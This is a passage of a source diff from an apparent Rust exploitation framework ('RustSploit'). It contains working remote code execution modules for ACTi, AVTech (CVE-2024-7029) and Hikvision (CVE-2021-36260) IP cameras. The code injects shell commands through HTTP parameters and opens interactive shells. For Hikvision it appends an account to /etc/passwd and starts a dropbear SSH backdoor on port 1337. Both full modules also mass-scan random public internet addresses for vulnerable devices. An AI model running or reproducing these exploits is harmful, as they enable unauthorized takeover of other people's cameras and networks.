||||
crate::mprintln!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "ACTi ACM-5611 Remote Command Execution".to_string(),
|
||||
description: "Exploits command injection in ACTi ACM-5611 video cameras to achieve remote code execution.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["https://www.exploitalert.com/view-details.html?id=34128".to_string()],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Excellent,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,279 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use crate::modules::creds::utils::generate_random_public_ip;
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::{
|
||||
cfg_prompt_port, cfg_prompt_yes_no, escape_shell_command, normalize_target,
|
||||
safe_read_to_string_async,
|
||||
};
|
||||
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
|
||||
crate::mprintln!("{}", "║ Command Injection via brightness parameter ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
crate::mprintln!("{}", "[*] Checking vulnerability...".cyan());
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", "1;echo_CVE7029;");
|
||||
let resp = client.get(url).send().await?;
|
||||
let body = resp.text().await?;
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// Interactive shell to send arbitrary commands.
|
||||
/// In CLI/shell mode this reads from stdin; not supported in API mode.
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
if crate::config::get_module_config().api_mode {
|
||||
return Err(anyhow::anyhow!("Interactive shell is not supported in API mode. Use single command execution instead."));
|
||||
}
|
||||
|
||||
use std::io::Write;
|
||||
|
||||
crate::mprintln!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
|
||||
loop {
|
||||
crate::mprint!("{}", "cve7029-shell> ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
let line = tokio::task::spawn_blocking(|| {
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s).map(|_| s)
|
||||
})
|
||||
.await
|
||||
.context("Blocking task panicked")?
|
||||
.context("Failed to read input")?;
|
||||
|
||||
let cmd = line.trim().to_string();
|
||||
|
||||
{
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
crate::mprintln!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match exec_cmd(client, base, &cmd).await {
|
||||
Ok(out) => crate::mprintln!("{}", out),
|
||||
Err(e) => crate::mprintln!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Execute a remote command by abusing the brightness parameter
|
||||
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
let escaped_cmd = escape_shell_command(cmd);
|
||||
let payload = format!("1;{};", escaped_cmd);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
let response = client.get(url).send().await?;
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Quick vulnerability check for mass scanning
|
||||
async fn quick_check(client: &Client, ip: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let url = format!("http://{}/cgi-bin/supervisor/Factory.cgi?action=Set&brightness=1;echo_CVE7029;", host);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => {
|
||||
if let Ok(body) = resp.text().await {
|
||||
body.contains("echo_CVE7029")
|
||||
} else {
|
||||
false
|
||||
}
|
||||
},
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode
|
||||
/// API prompts:
|
||||
/// - "exclude_ranges" : y/n exclude reserved ranges (default: y)
|
||||
async fn run_mass_scan_legacy() -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
crate::mprintln!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
crate::mprintln!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true).await?;
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
crate::mprintln!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str).await {
|
||||
crate::mprintln!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
/// API prompts:
|
||||
/// - "port" : target port (default: 80)
|
||||
/// - "exclude_ranges": y/n for mass scan excluded ranges (default: y)
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "AVTECH_Camera",
|
||||
default_port: 80,
|
||||
state_file: "avtech_camera_mass_state.log",
|
||||
default_output: "avtech_camera_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan_legacy().await
|
||||
} else {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).yellow());
|
||||
crate::mprintln!();
|
||||
|
||||
let port = cfg_prompt_port("port", "Enter port to use", 80).await?;
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
// Handle either single IP or file of targets
|
||||
let targets = if std::path::Path::new(target).exists() {
|
||||
crate::mprintln!("{}", format!("[*] Loading targets from file: {}", target).cyan());
|
||||
safe_read_to_string_async(target, None)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
for raw_ip in &targets {
|
||||
let scheme = if raw_ip.starts_with("https://") { "https" } else { "http" };
|
||||
let normalized = normalize_target(raw_ip)?;
|
||||
|
||||
let url = if normalized.contains("]:") || (normalized.contains(':') && !normalized.starts_with('[')) {
|
||||
format!("{}://{}", scheme, normalized)
|
||||
} else {
|
||||
format!("{}://{}:{}", scheme, normalized, port)
|
||||
};
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Testing: {}", url).yellow());
|
||||
|
||||
if check_vuln(&client, &url).await? {
|
||||
crate::mprintln!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
|
||||
// Interactive shell is CLI-only; in API mode this path is not normally reached
|
||||
// because api_mode users supply a "command" prompt instead of an interactive shell.
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[-] {} is not vulnerable", url).red());
|
||||
}
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", "[*] Scan complete.".cyan());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "AVTECH Camera CVE-2024-7029".to_string(),
|
||||
description: "Exploits CVE-2024-7029 in AVTECH IP cameras for remote code execution.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["CVE-2024-7029".to_string()],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Excellent,
|
||||
}
|
||||
}
|
||||
+151
-123
@@ -1,9 +1,9 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use crate::modules::creds::utils::generate_random_public_ip;
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
@@ -12,6 +12,9 @@ use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use chrono::Local;
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_output_file,
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MAX_CMD_LENGTH: usize = 22;
|
||||
@@ -37,43 +40,33 @@ enum ScanMode {
|
||||
CustomCommand,
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
println!(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Hikvision Web Server CVE-2021-36260 ║".cyan()
|
||||
);
|
||||
println!(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Unauthenticated Command Injection (Build 210702) ║".cyan()
|
||||
);
|
||||
println!(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ PoC by bashis - Ported to Rust for rustsploit ║".cyan()
|
||||
);
|
||||
println!(
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// Normalize target URL
|
||||
/// Normalize target URL (preserves scheme and path, re-wraps IPv6)
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
|
||||
("http://", s)
|
||||
@@ -124,11 +117,7 @@ struct HikvisionClient {
|
||||
|
||||
impl HikvisionClient {
|
||||
fn new(target: &str, proto: &str, timeout: u64) -> Result<Self> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(timeout))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(timeout))?;
|
||||
|
||||
let base_url = format!("{}://{}", proto, target);
|
||||
let base_url = normalize_target(&base_url);
|
||||
@@ -220,7 +209,10 @@ async fn execute_cmd(client: &HikvisionClient, command: &str) -> Result<String>
|
||||
if resp.status().as_u16() != 200 {
|
||||
return Err(anyhow!("Failed to retrieve command output"));
|
||||
}
|
||||
Ok(resp.text().await.unwrap_or_default())
|
||||
match resp.text().await {
|
||||
Ok(text) => Ok(text),
|
||||
Err(e) => Err(anyhow!("Failed to read command output: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_blind_cmd(client: &HikvisionClient, command: &str) -> Result<()> {
|
||||
@@ -233,7 +225,7 @@ async fn execute_blind_cmd(client: &HikvisionClient, command: &str) -> Result<()
|
||||
}
|
||||
|
||||
async fn interactive_shell(client: &HikvisionClient) -> Result<()> {
|
||||
println!("{}", "[*] Preparing shell access...".cyan());
|
||||
crate::mprintln!("{}", "[*] Preparing shell access...".cyan());
|
||||
match client.get("/N", 5).await {
|
||||
Ok(resp) => {
|
||||
if resp.status().as_u16() == 404 {
|
||||
@@ -242,19 +234,35 @@ async fn interactive_shell(client: &HikvisionClient) -> Result<()> {
|
||||
client.send_payload("cat N>>/etc/passwd", 10).await?;
|
||||
client.send_payload("dropbear -R -B -p 1337", 10).await?;
|
||||
client.send_payload("cat N>webLib/N", 10).await?;
|
||||
println!("{}", "[+] Dropbear SSH started on port 1337".green());
|
||||
crate::mprintln!("{}", "[+] Dropbear SSH started on port 1337".green());
|
||||
}
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Failed to check shell status")),
|
||||
}
|
||||
println!("{}", "[*] SSH connection ready".cyan());
|
||||
crate::mprintln!("{}", "[*] SSH connection ready".cyan());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Interactive command loop — CLI/shell only; reads stdin directly
|
||||
async fn interactive_mode(client: &HikvisionClient) -> Result<()> {
|
||||
println!("{}", "\n[*] Entering interactive command mode".cyan());
|
||||
// API mode: execute single command, no REPL
|
||||
let config = crate::config::get_module_config();
|
||||
if config.api_mode {
|
||||
let cmd = crate::utils::cfg_prompt_required("command", "Command to execute").await?;
|
||||
match execute_cmd(client, cmd.trim()).await {
|
||||
Ok(output) => {
|
||||
crate::mprintln!("{}", "\n[+] Command output:".green());
|
||||
crate::mprintln!("{}", output);
|
||||
}
|
||||
Err(e) => crate::mprintln!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// CLI mode: existing REPL loop
|
||||
crate::mprintln!("{}", "\n[*] Entering interactive command mode".cyan());
|
||||
loop {
|
||||
print!("{}", "hikvision> ".green().bold());
|
||||
crate::mprint!("{}", "hikvision> ".green().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
@@ -262,8 +270,8 @@ async fn interactive_mode(client: &HikvisionClient) -> Result<()> {
|
||||
if cmd.is_empty() { continue; }
|
||||
if cmd == "exit" || cmd == "quit" { break; }
|
||||
match execute_cmd(client, cmd).await {
|
||||
Ok(output) => println!("{}", output),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
Ok(output) => crate::mprintln!("{}", output),
|
||||
Err(e) => crate::mprintln!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
@@ -281,7 +289,6 @@ async fn quick_check(ip: &str, mode: ScanMode, custom_payload: &str) -> bool {
|
||||
check_with_reboot(&client).await.unwrap_or(false)
|
||||
},
|
||||
ScanMode::CustomCommand => {
|
||||
// Just execute validation blind command
|
||||
match client.send_payload(custom_payload, 5).await {
|
||||
Ok(resp) => resp.status().as_u16() == 200 || resp.status().as_u16() == 500,
|
||||
Err(_) => false,
|
||||
@@ -294,73 +301,78 @@ async fn quick_check(ip: &str, mode: ScanMode, custom_payload: &str) -> bool {
|
||||
}
|
||||
|
||||
/// Mass scan mode
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
///
|
||||
/// API prompts:
|
||||
/// - "exclude_ranges" : y/n (default: y)
|
||||
/// - "output_file" : filename (default: hikvision_hits.txt)
|
||||
/// - "scan_mode" : "1" safe / "2" unsafe reboot / "3" custom (default: "1")
|
||||
/// - "custom_payload" : max 22-char payload string for custom mode (default: "")
|
||||
async fn run_mass_scan_legacy() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
crate::mprintln!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
crate::mprintln!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
crate::mprintln!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut outfile = String::new();
|
||||
io::stdin().read_line(&mut outfile)?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "hikvision_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true).await?;
|
||||
|
||||
// Prompt for Payload Mode
|
||||
println!("{}", "[?] Select Payload Mode:".cyan());
|
||||
println!(" 1. Safe Check (File Write/Read)");
|
||||
println!(" 2. Unsafe Check (Reboot Device)");
|
||||
println!(" 3. Custom Command");
|
||||
print!("{}", "Select option [1-3] (default 1): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut mode_str = String::new();
|
||||
io::stdin().read_line(&mut mode_str)?;
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "hikvision_hits.txt").await?;
|
||||
|
||||
let mode_str = cfg_prompt_default("scan_mode", "[?] Select Payload Mode (1=Safe, 2=Unsafe Reboot, 3=Custom)", "1").await?;
|
||||
crate::mprintln!("[*] Scan mode: {}", match mode_str.trim() {
|
||||
"2" => "Unsafe Reboot",
|
||||
"3" => "Custom Command",
|
||||
_ => "Safe Check (File Write/Read)",
|
||||
});
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::UnsafeReboot,
|
||||
"3" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::SafeCheck,
|
||||
};
|
||||
|
||||
let mut custom_payload = String::new();
|
||||
if let ScanMode::CustomCommand = mode {
|
||||
print!("{}", "[?] Enter Custom Command (max 22 chars): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut custom_payload)?;
|
||||
custom_payload = custom_payload.trim().to_string();
|
||||
}
|
||||
let custom_payload = if let ScanMode::CustomCommand = mode {
|
||||
cfg_prompt_default("custom_payload", "[?] Enter Custom Command (max 22 chars)", "").await?
|
||||
} else {
|
||||
String::new()
|
||||
};
|
||||
let custom_payload = Arc::new(custom_payload);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Result writer channel
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
let (tx, mut rx) = mpsc::channel::<String>(1024);
|
||||
|
||||
// Writer task
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let mut file = OpenOptions::new()
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&outfile_clone)
|
||||
.await
|
||||
.expect("Failed to open output file");
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
crate::meprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
if let Err(e) = file.write_all(result.as_bytes()).await {
|
||||
eprintln!("[-] Failed to write result: {}", e);
|
||||
crate::meprintln!("[-] Failed to write result: {}", e);
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -370,30 +382,30 @@ async fn run_mass_scan() -> Result<()> {
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
crate::mprintln!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cp = custom_payload.clone();
|
||||
let current_mode = mode; // Copy
|
||||
let current_mode = mode;
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&ip_str, current_mode, &cp).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
crate::mprintln!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
let log_entry = format!("{} - {}\n", ip_str, timestamp);
|
||||
let _ = tx.send(log_entry);
|
||||
let _ = tx.send(log_entry).await;
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
@@ -402,13 +414,34 @@ async fn run_mass_scan() -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
///
|
||||
/// API prompts (single-target mode):
|
||||
/// - "mode" : "1" check / "2" reboot / "3" single cmd / "4" blind cmd / "5" interactive / "6" ssh shell — default "1"
|
||||
/// - "command" : command string for modes 3/4 (default: "id")
|
||||
/// - "confirm_reboot" : y/n for reboot confirmation (default: "n")
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Hikvision_Camera",
|
||||
default_port: 80,
|
||||
state_file: "hikvision_camera_mass_state.log",
|
||||
default_output: "hikvision_camera_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
Some(format!("{}:{}\n", ip, port))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan_legacy().await
|
||||
} else {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).yellow());
|
||||
crate::mprintln!();
|
||||
|
||||
// Parse target to extract host:port and protocol
|
||||
let (proto, host_port) = if target.starts_with("https://") {
|
||||
@@ -421,20 +454,17 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let host_port = host_port.split('/').next().unwrap_or(host_port);
|
||||
|
||||
println!("{}", "[*] Select operation mode:".cyan());
|
||||
println!(" {} Check if vulnerable (safe)", "1.".bold());
|
||||
println!(" {} Check with reboot (unsafe)", "2.".bold());
|
||||
println!(" {} Execute single command", "3.".bold());
|
||||
println!(" {} Execute blind command", "4.".bold());
|
||||
println!(" {} Interactive shell mode", "5.".bold());
|
||||
println!(" {} Setup SSH shell (dropbear)", "6.".bold());
|
||||
println!();
|
||||
crate::mprintln!("{}", "[*] Select operation mode:".cyan());
|
||||
crate::mprintln!(" {} Check if vulnerable (safe)", "1.".bold());
|
||||
crate::mprintln!(" {} Check with reboot (unsafe)", "2.".bold());
|
||||
crate::mprintln!(" {} Execute single command", "3.".bold());
|
||||
crate::mprintln!(" {} Execute blind command", "4.".bold());
|
||||
crate::mprintln!(" {} Interactive shell mode (CLI only)", "5.".bold());
|
||||
crate::mprintln!(" {} Setup SSH shell (dropbear)", "6.".bold());
|
||||
crate::mprintln!();
|
||||
|
||||
print!("{}", "Select option [1-6]: ".green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
// cfg_prompt_default falls back to interactive stdin in CLI mode
|
||||
let choice = cfg_prompt_default("mode", "Select option [1-6]", "1").await?;
|
||||
let choice = choice.trim();
|
||||
|
||||
let client = HikvisionClient::new(host_port, proto, DEFAULT_TIMEOUT_SECS)?;
|
||||
@@ -442,58 +472,56 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
match choice {
|
||||
"1" => { check_vulnerable(&client, false).await?; }
|
||||
"2" => {
|
||||
println!();
|
||||
print!("{}", "[!] This will reboot the device. Continue? [y/N]: ".red());
|
||||
io::stdout().flush()?;
|
||||
let mut confirm = String::new();
|
||||
io::stdin().read_line(&mut confirm)?;
|
||||
let confirm = cfg_prompt_default("confirm_reboot", "[!] This will reboot the device. Continue? [y/N]", "n").await?;
|
||||
if confirm.trim().eq_ignore_ascii_case("y") {
|
||||
check_with_reboot(&client).await?;
|
||||
} else {
|
||||
println!("{}", "[*] Aborted".yellow());
|
||||
crate::mprintln!("{}", "[*] Aborted".yellow());
|
||||
}
|
||||
}
|
||||
"3" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
println!();
|
||||
print!("{}", "Enter command to execute: ".green());
|
||||
io::stdout().flush()?;
|
||||
